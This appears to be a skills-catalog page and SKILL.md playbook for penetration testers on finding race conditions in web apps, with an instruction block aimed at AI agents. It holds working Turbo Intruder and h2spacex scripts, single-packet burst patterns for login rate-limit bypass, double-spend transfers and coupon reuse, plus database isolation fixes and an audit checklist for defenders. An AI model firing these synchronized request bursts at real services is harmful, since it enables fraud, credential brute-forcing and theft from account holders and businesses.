race-condition
yaklang/hack-skills
Test race conditions and TOCTOU vulnerabilities in web apps via synchronized parallel requests.
What is race-condition?
Race condition testing skill for identifying non-atomic check-then-use logic gaps in web applications. Use when testing one-time operations (coupon redemption, bonus claims), balance deductions, rate-limit bypasses, and authorization state integrity issues. Combines parallel HTTP transport techniques (HTTP/1.1 last-byte sync, HTTP/2 single-packet, Turbo Intruder gates) with application-level evidence collection.
- Identify TOCTOU (Time-of-check to time-of-use) vulnerabilities in state-changing endpoints
- Send synchronized parallel requests using HTTP/1.1 last-byte sync, HTTP/2 single-packet, or Turbo Intruder gates
- Test one-time operations (coupons, rewards, invites) for duplicate success or inconsistent final state
- Detect rate-limit bypass via concurrent request bursts that bypass per-request counters
- Analyze multi-step workflows (create → pay → confirm) for state skipping or incomplete atomic operations
- Correlate duplicate responses and ledger entries to confirm race condition exploitation
How to install race-condition
npx skills add https://github.com/yaklang/hack-skills --skill race-condition- Burp Suite (Repeater, Turbo Intruder extension recommended)
- Authorized access to target application endpoints
- Understanding of HTTP/1.1 and HTTP/2 protocol basics
- Ability to capture and modify requests via proxy
How to use race-condition
- 1.Identify state-changing endpoints (redeem, claim, transfer, purchase, verify) in the target application
- 2.Capture the request in Burp Repeater and note any idempotency keys or unique identifiers
- 3.For HTTP/1.1: use Turbo Intruder with gate pattern to queue 20-100 copies and release simultaneously
- 4.For HTTP/2: use Burp Repeater's Send group (parallel) or single-packet attack feature
- 5.Send requests and observe response codes, response bodies, and application state (balance, ledger, inventory)
- 6.Compare outcomes: 0-1 expected success vs N successes indicates race condition; check for duplicate ledger entries or inconsistent balances
- 7.Cross-reference with business-logic-vulnerabilities skill for multi-step workflow exploitation
Use cases
- Testing coupon/reward redemption endpoints for double-claim vulnerabilities
- Bypassing rate limits by sending N parallel login attempts to exceed documented caps
- Detecting balance deduction races where concurrent transfers both succeed with insufficient funds
- Exploiting invite/referral systems where acceptance checks are not atomic with claim operations
- Testing password reset or email verification tokens for reuse via simultaneous verification attempts
- Security testers performing authorized penetration tests on web applications
- Bug bounty hunters targeting business logic and authorization flaws
- Application security engineers validating atomic operation implementations
- DevOps/SRE teams stress-testing API concurrency and idempotency guarantees
race-condition FAQ
HTTP/1.1 last-byte sync holds all requests until the final byte, then releases together to reduce network jitter. HTTP/2 single-packet coalesces multiple streams into one TCP segment for tighter alignment. HTTP/2 is generally more reliable due to multiplexing; use it if the target supports it.
Start with 20-30 copies for initial testing. Increase to 50-100 if the first batch shows inconsistent results. More requests increase the chance of hitting the race window, but also increase server load and detection risk.
Multiple HTTP 200/201 responses for a one-time operation, duplicate ledger entries, balance higher than policy allows, or state inconsistencies (e.g., item marked paid without matching payment). Compare against expected behavior: one success per user per operation.
Add a unique header (e.g., x-request: %s) to the base request before sending to Turbo Intruder. Turbo Intruder replaces %s per queued copy. Grep logs or response tables by this header to match requests and responses.
Test both. If the endpoint accepts an idempotency key, send the same key in all parallel copies—it should deduplicate. If no key is present or ignored, the race condition is more likely exploitable. Missing or unenforced idempotency keys are a common root cause.
Full instructions (SKILL.md)
Source of truth, from yaklang/hack-skills.
name: race-condition description: >- Race condition and TOCTOU testing for web apps. Use when testing one-time operations, concurrent HTTP abuse, rate-limit bypass, Turbo Intruder gates, HTTP/2 single-packet attacks, and CWE-362-style synchronization gaps.
SKILL: Race Conditions — Testing & Exploitation Playbook
AI LOAD INSTRUCTION: Treat race conditions as authorization/state integrity issues: non-atomic read-then-write lets multiple requests observe stale state. Prioritize one-time or balance-like operations. Combine parallel transport (HTTP/1.1 last-byte sync, HTTP/2 single-packet, Turbo Intruder gates) with application evidence (duplicate success responses, inconsistent balances, duplicate ledger rows). Authorized testing only. Routing note: for business workflows, coupons, inventory, or one-time rewards, start with this skill and cross-load
business-logic-vulnerabilities.
0. QUICK START — What to Test First
Target endpoints where check and update are unlikely to be a single atomic database operation:
| Priority | Operation class | Example paths / parameters |
|---|---|---|
| 1 | One-time redeem / coupon / bonus | redeem, apply_coupon, claim_reward, voucher |
| 2 | Balance / quota / stock deduction | transfer, purchase, reserve, inventory |
| 3 | Invite / referral / signup bonus | invite_accept, referral_claim |
| 4 | Password / email / MFA verification | verify_token, confirm_email, reset_password |
| 5 | Idempotent-looking APIs without strong keys | POST that should succeed only once per user |
First moves (conceptual):
- Capture the state-changing request in a proxy.
- Send 20–100 copies as simultaneously as your tooling allows.
- Classify outcome: 0/1 expected successes vs N successes or inconsistent final state.
1. CORE CONCEPT
1.1 TOCTOU (Time-of-check to time-of-use)
Thread A Thread B
| |
+-- CHECK (resource OK) |
| +-- CHECK (resource OK) ← both see "OK"
+-- USE / UPDATE |
| +-- USE / UPDATE ← duplicate effect
TOCTOU means the decision (check) and the mutation (use) are not one indivisible step.
1.2 Non-atomic read-then-write
Typical vulnerable pseudo-flow:
balance = SELECT balance FROM accounts WHERE id = ?
if balance >= amount:
UPDATE accounts SET balance = balance - ? WHERE id = ?
Two concurrent requests can both pass the if before either UPDATE commits.
1.3 Database-level vs application-level locking gaps
| Layer | What goes wrong |
|---|---|
| Application | In-memory flag, cache, or session says "not used yet" while DB already updated — or the reverse. |
| ORM / service | Two instances, no distributed lock; each thinks it owns the decision. |
| DB | Missing SELECT … FOR UPDATE, wrong isolation level, or logic split across multiple statements without transaction. |
| API gateway | Per-IP rate limit is check-then-increment — parallel burst passes duplicate checks. |
Hint: UNIQUE constraints and idempotency keys often eliminate entire bug classes — test whether the app enforces them on the hot path.
2. ATTACK PATTERNS
2.1 Limit-overrun (double redeem / double claim)
Send the same authenticated request many times in parallel:
POST /api/v1/rewards/claim HTTP/1.1
Host: target.example
Authorization: Bearer <token>
Content-Type: application/json
{"reward_id":"welcome_bonus"}
Success signal: HTTP 200/201 more than once, duplicate ledger entries, or balance higher than policy allows.
2.2 Rate-limit bypass via simultaneity
If limits are implemented as counters checked per request without atomic increment:
POST /api/v1/login HTTP/1.1
Host: target.example
Content-Type: application/json
{"email":"victim@example.com","password":"wrong"}
Fire N parallel attempts in one wave; compare with N sequential attempts.
Success signal: more failures accepted than documented cap, or lockout never triggers when burst completes inside one window.
2.3 Multi-step exploitation (beat the pipeline)
Workflow: create → pay → confirm. If confirm does not cryptographically bind to pay completion:
- Start two parallel pipelines from the same session/item.
- Complete confirm on channel B while pay on channel A is still in-flight or abandoned.
Success signal: item marked paid/shipped without matching payment, or state skips backward.
3. HTTP/1.1 LAST-BYTE SYNCHRONIZATION
Idea: Hold all requests blocked until every socket has sent the full request except the last byte of the body; then release the final byte together so the server receives them in a tight cluster.
Client 1: [headers + body - 1 byte] ----hold----+
Client 2: [headers + body - 1 byte] ----hold----+--> flush last byte together
Client N: [headers + body - 1 byte] ----hold----+
Why: Reduces network jitter between copies compared to naive sequential paste in Repeater.
Tooling: Custom scripts, some Burp extensions, or Turbo Intruder gate pattern (see §5) as the practical stand-in for synchronized release.
4. HTTP/2 SINGLE-PACKET ATTACK
Idea: Multiplex several complete HTTP/2 streams and coalesce their frames so the first bytes of all requests exit the NIC in one TCP segment (or minimally separated). Receiver-side scheduling then processes them with sub-millisecond spacing.
Burp Repeater (modern workflows):
- Open multiple tabs or select multiple requests.
- Use Send group (parallel) / single-packet attack where available.
- Prefer HTTP/2 to the target if supported.
[ Req A stream ]
[ Req B stream ] --HTTP/2--> one burst --> app worker pool
[ Req C stream ]
Why it often beats HTTP/1.1 last-byte tricks: tighter alignment on the wire; less dependence on per-connection serialization.
5. TURBO INTRUDER TEMPLATES
Repository: PortSwigger/turbo-intruder (Burp Suite extension).
5.1 Template 1 — Same endpoint, gate release
Settings: concurrentConnections=30, requestsPerConnection=30, use a gate so all threads fire together.
Core pattern (repeat N times, then release):
for _ in range(N):
engine.queue(request, gate='race1')
engine.openGate('race1')
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=30,
pipeline=False,
engine=Engine.THREADED,
maxRetriesPerRequest=0
)
for i in range(30):
engine.queue(target.req, gate='race1')
engine.openGate('race1')
def handleResponse(req, interesting):
table.add(req)
Header requirement (unique per queued copy for log correlation; Turbo Intruder payload placeholder):
x-request: %s
Turbo Intruder replaces %s per request when paired with a wordlist (or other payload source) — keep this header on the base request in Repeater before sending to Turbo Intruder. Case-insensitive for HTTP; use a consistent name for log grep.
5.2 Template 2 — Multi-endpoint, same gate
Pattern: One POST to target-1 (state change) plus many GETs to target-2 (read side) released together to widen the TOCTOU window observation.
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=30,
pipeline=False,
engine=Engine.THREADED,
maxRetriesPerRequest=0
)
engine.queue(post_to_target1, gate='race1')
for _ in range(30):
engine.queue(get_target2, gate='race1')
engine.openGate('race1')
Adjust hosts/paths by duplicating RequestEngine instances if endpoints differ (Turbo Intruder supports multiple engines — consult upstream docs for your Burp version).
6. CVE REFERENCE — CVE-2022-4037
CVE-2022-4037 (GitLab CE/EE): race condition leading to verified email address forgery and risk when the product acts as an OAuth identity provider — third-party account linkage/impact scenarios. CWE-362. Demonstrated in public research with HTTP/2 single-packet style timing to win narrow windows.
Takeaway for testers: email verification, OAuth linking, and "confirm ownership" flows are high-value race targets — not only coupons and balances.
References (official / neutral):
- NVD — CVE-2022-4037
- GitLab security advisories and vendor CVE JSON for affected version ranges
7. TOOLS
| Tool | Role |
|---|---|
| PortSwigger/turbo-intruder | High-concurrency replay, gates, scripting in Burp. |
| JavanXD/Raceocat | Race-focused HTTP client patterns (verify compatibility with your stack). |
| nxenon/h2spacex | HTTP/2 low-level / single-packet style experimentation (use responsibly, authorized targets only). |
| Burp Suite — Repeater | Send group (parallel) / single-packet attack for multi-request synchronization. |
8. DECISION TREE
START: state-changing API?
|
NO -----------+---------- YES
| |
stop here one-time / balance / verify?
|
+-------------------------+-------------------------+
| | |
coupon-like rate limit multi-step
| | |
parallel same req parallel vs serial parallel pipelines
| | |
duplicate success? limit exceeded? state mismatch?
/ \ / \ / \
YES NO YES NO YES NO
| | | | | |
report + try HTTP/2 report + try TI report + deepen
evidence single-packet evidence gates per-step
| | | | | |
+----+----+ +----+----+ +----+----+
| | |
tool pick tool pick tool pick
v v v
Burp group / h2spacex TI gates / Raceocat TI + trace IDs
How to confirm (evidence checklist):
- Reproducible duplicate success under parallelism, not flaky single retries.
- Server-side artifact: two rows, two emails, two grants, or wrong final balance.
- Correlate with
x-request(or similar) markers or unique body fields in logs (authorized environments).
Routing summary: if the scenario is more about business rules, pricing, or workflow bypass, load skills/business-logic-vulnerabilities/SKILL.md; this file focuses on concurrency and transport-layer synchronization.
9. HTTP/2 SINGLE-PACKET ATTACK — DETAILED MECHANICS
9.1 TCP Nagle Algorithm & Frame Coalescing
TCP's Nagle algorithm (RFC 896) buffers small writes and coalesces them into fewer, larger segments. When an HTTP/2 client writes multiple HEADERS+DATA frames in rapid succession without flushing between them, the kernel merges them into a single TCP segment (up to MSS, typically ~1460 bytes on Ethernet).
Application layer: [Stream 1 H+D] [Stream 3 H+D] [Stream 5 H+D]
↓ TCP Nagle coalescing ↓
TCP segment: [Stream 1 H+D | Stream 3 H+D | Stream 5 H+D] ← one packet on the wire
TCP_NODELAYdisabled (default) → Nagle active → coalescing happens naturally- If
TCP_NODELAYis set, the client must usewritev()/ gather-write syscall to batch frames - Practical limit: ~20–30 small requests per 1460-byte MSS; exceeding this splits across packets and degrades synchronization
9.2 Server-Side Request Queue Processing
NIC IRQ → kernel recv buffer → HTTP/2 demuxer → concurrent dispatch
┌─ Stream 1 → worker thread A ─┐
├─ Stream 3 → worker thread B ─┤ sub-microsecond spacing
└─ Stream 5 → worker thread C ─┘
- Single
recv()syscall returns the entire segment - HTTP/2 frame parser demultiplexes streams from same segment
- Dispatcher fans out to application worker pool
First-to-last request dispatch gap: < 100 μs on modern servers — orders of magnitude tighter than HTTP/1.1 last-byte sync (~1–5 ms network jitter).
9.3 HTTP/2 vs HTTP/1.1 Last-Byte Comparison
| Factor | HTTP/2 Single-Packet | HTTP/1.1 Last-Byte |
|---|---|---|
| Connections needed | 1 | N (one per request) |
| Wire synchronization | Same TCP segment | N segments released "simultaneously" |
| Network jitter impact | Zero (same packet) | Each connection has independent RTT |
| Server dispatch gap | < 100 μs | 1–5 ms typical |
| Practical limit | ~20–30 requests per MTU | Limited by connection setup |
9.4 Practical Execution with h2spacex
import h2spacex
h2_conn = h2spacex.H2OnTCPSocket(
hostname='target.example.com',
port_number=443
)
headers_list = []
for i in range(20):
headers_list.append([
(':method', 'POST'),
(':path', '/api/v1/rewards/claim'),
(':authority', 'target.example.com'),
(':scheme', 'https'),
('content-type', 'application/json'),
('authorization', 'Bearer TOKEN'),
])
h2_conn.setup_connection()
h2_conn.send_ping_frame()
h2_conn.send_multiple_requests_at_once(
headers_list,
body_list=[b'{"reward_id":"welcome_bonus"}'] * 20
)
responses = h2_conn.read_multiple_responses()
10. DATABASE ISOLATION LEVEL EXPLOITATION MATRIX
| Isolation Level | Phenomenon Exploited | Attack Window | Typical Vulnerable Pattern |
|---|---|---|---|
| READ UNCOMMITTED | Dirty reads | Thread B reads Thread A's uncommitted write | SELECT balance sees in-flight deduction, proceeds with stale logic |
| READ COMMITTED | Non-repeatable reads (TOCTOU) | Both threads read committed balance, both pass check, both deduct | SELECT → app check → UPDATE without FOR UPDATE |
| REPEATABLE READ | Phantom reads | Snapshot isolation hides concurrent inserts; both threads see "0 claims" and insert | INSERT IF NOT EXISTS pattern without UNIQUE constraint |
| SERIALIZABLE | Advisory lock bypass | Application uses pg_advisory_lock() / GET_LOCK() with wrong scope or derivable key | Lock key from user input; session-vs-transaction scope mismatch |
READ COMMITTED TOCTOU (most common in production)
-- Thread A -- Thread B
SELECT balance FROM accounts SELECT balance FROM accounts
WHERE id=1; -- returns 100 WHERE id=1; -- returns 100
-- app: 100 >= 100 ✓ -- app: 100 >= 100 ✓
UPDATE accounts SET balance = UPDATE accounts SET balance =
balance - 100 WHERE id=1; balance - 100 WHERE id=1;
COMMIT; -- balance = 0 COMMIT; -- balance = -100 ← double-spend
Fix verification: SELECT ... FOR UPDATE should block Thread B's SELECT until Thread A commits.
REPEATABLE READ Phantom Insert
-- Thread A (snapshot at T0) -- Thread B (snapshot at T0)
SELECT count(*) FROM claims SELECT count(*) FROM claims
WHERE user_id=1 AND coupon='X'; WHERE user_id=1 AND coupon='X';
-- returns 0 (snapshot) -- returns 0 (snapshot)
INSERT INTO claims ...; INSERT INTO claims ...;
COMMIT; -- succeeds COMMIT; -- succeeds ← duplicate claim
Fix: UNIQUE(user_id, coupon_id) constraint causes one INSERT to fail with duplicate key error regardless of isolation level.
SERIALIZABLE Advisory Lock Bypass
-- Application intends: one lock per coupon
SELECT pg_advisory_lock(hashtext('coupon_' || $coupon_id));
-- Bypass vectors:
-- 1. Lock is session-scoped but transaction rolls back → lock persists, next txn skips
-- 2. Different code path reaches claim logic without acquiring the lock
-- 3. Attacker triggers claim via alternative API endpoint that lacks locking
Quick Audit Checklist
□ SHOW TRANSACTION ISOLATION LEVEL — what level is the database running?
□ Does the hot path use SELECT ... FOR UPDATE or explicit row locks?
□ Is the check-then-act sequence inside a single transaction?
□ Are UNIQUE constraints enforced on the critical state table?
□ Multi-instance deployment: is there a distributed lock (Redis SETNX / Zookeeper)?
11. LIMIT-OVERRUN ATTACK PATTERNS
11.1 Coupon / Promo Code Reuse
Target: POST /api/apply-coupon {"code":"SUMMER50"}
Expected: One use per user
Attack: 20 parallel identical requests
Evidence: Multiple 200 responses, final order total = N × discount applied
Variations: same coupon across different cart items; apply-coupon + checkout in parallel (coupon consumed only at checkout).
11.2 Vote / Rating Manipulation
Target: POST /api/vote {"post_id":123,"direction":"up"}
Expected: One vote per user per post
Attack: 50 parallel vote requests
Evidence: Vote count += N, or DB shows multiple vote rows for same user+post
11.3 Balance Double-Spend
Target: POST /api/transfer {"to":"attacker","amount":100}
Balance: Exactly 100
Attack: 2+ parallel transfers
Evidence: Both succeed, sender balance goes negative, recipient receives 200
Higher-value variant: withdrawal to external system (crypto, bank wire) where reversal is difficult.
11.4 Inventory Oversell
Target: POST /api/purchase {"item_id":"limited_edition","qty":1}
Stock: 1 remaining
Attack: 20 parallel purchase requests
Evidence: Multiple orders created, stock counter goes negative
Compound attack: add-to-cart and checkout are separate steps, each checking inventory independently.
11.5 Referral / Signup Bonus
Target: POST /api/referral/claim {"code":"REF_ABC"}
Expected: One claim per referred user
Attack: Parallel claims from same session
Evidence: Bonus credited to referrer multiple times
12. SINGLE-PACKET MULTI-ENDPOINT ATTACK
Instead of N copies of the same request, send requests to different endpoints in one HTTP/2 single-packet burst. This widens the TOCTOU window by hitting both the check and use paths simultaneously.
Pattern 1: State-check + State-mutate
Single TCP segment:
Stream 1: GET /api/balance ← probe pre-state
Stream 3: POST /api/transfer ← mutate
Stream 5: POST /api/transfer ← mutate (duplicate)
Stream 7: GET /api/balance ← probe post-state
Balance inconsistency between stream 1 and stream 7 confirms the race window was hit.
Pattern 2: Cross-resource race
Single TCP segment:
Stream 1: POST /api/coupon/apply ← apply discount
Stream 3: POST /api/order/checkout ← finalize order
If coupon application and checkout check prices independently, the discount may apply after checkout has locked the price.
Pattern 3: Auth verification + Privileged action
Single TCP segment:
Stream 1: POST /api/email/verify?token=TOKEN ← verify email
Stream 3: POST /api/account/upgrade ← requires verified email
Upgrade may succeed during the brief window where verification is processing but not yet committed.
Practical setup
Burp Repeater: add requests targeting different paths to the same group → "Send group (single packet)".
headers_balance = [(':method','GET'), (':path','/api/balance'), ...]
headers_transfer = [(':method','POST'), (':path','/api/transfer'), ...]
all_headers = [headers_balance] + [headers_transfer]*5 + [headers_balance]
all_bodies = [b''] + [b'{"to":"attacker","amount":100}']*5 + [b'']
h2_conn.send_multiple_requests_at_once(all_headers, body_list=all_bodies)
Related
- business-logic-vulnerabilities — workflow, coupon abuse, and logic-first checklists (
../business-logic-vulnerabilities/SKILL.md).
Related skills
More from yaklang/hack-skills and the wider catalog.

recon-and-methodology
Systematic reconnaissance and bug-hunting methodology for mapping assets, discovering endpoints, and building structured testing plans.

recon-for-sec
Entry-point router for security reconnaissance and methodology on new targets.

request-smuggling
HTTP request smuggling and desynchronization testing for proxy/origin framing disagreements.

reverse-shell-techniques
Reverse shell techniques playbook for establishing remote shells across Linux, Windows, and web platforms.

rsa-attack-techniques
Exploit weak RSA keys and parameters via factorization, small exponents, lattice attacks, and oracle techniques.

saml-sso-assertion-attacks
Test SAML SSO assertion signature validation, binding, and trust boundary flaws in enterprise authentication.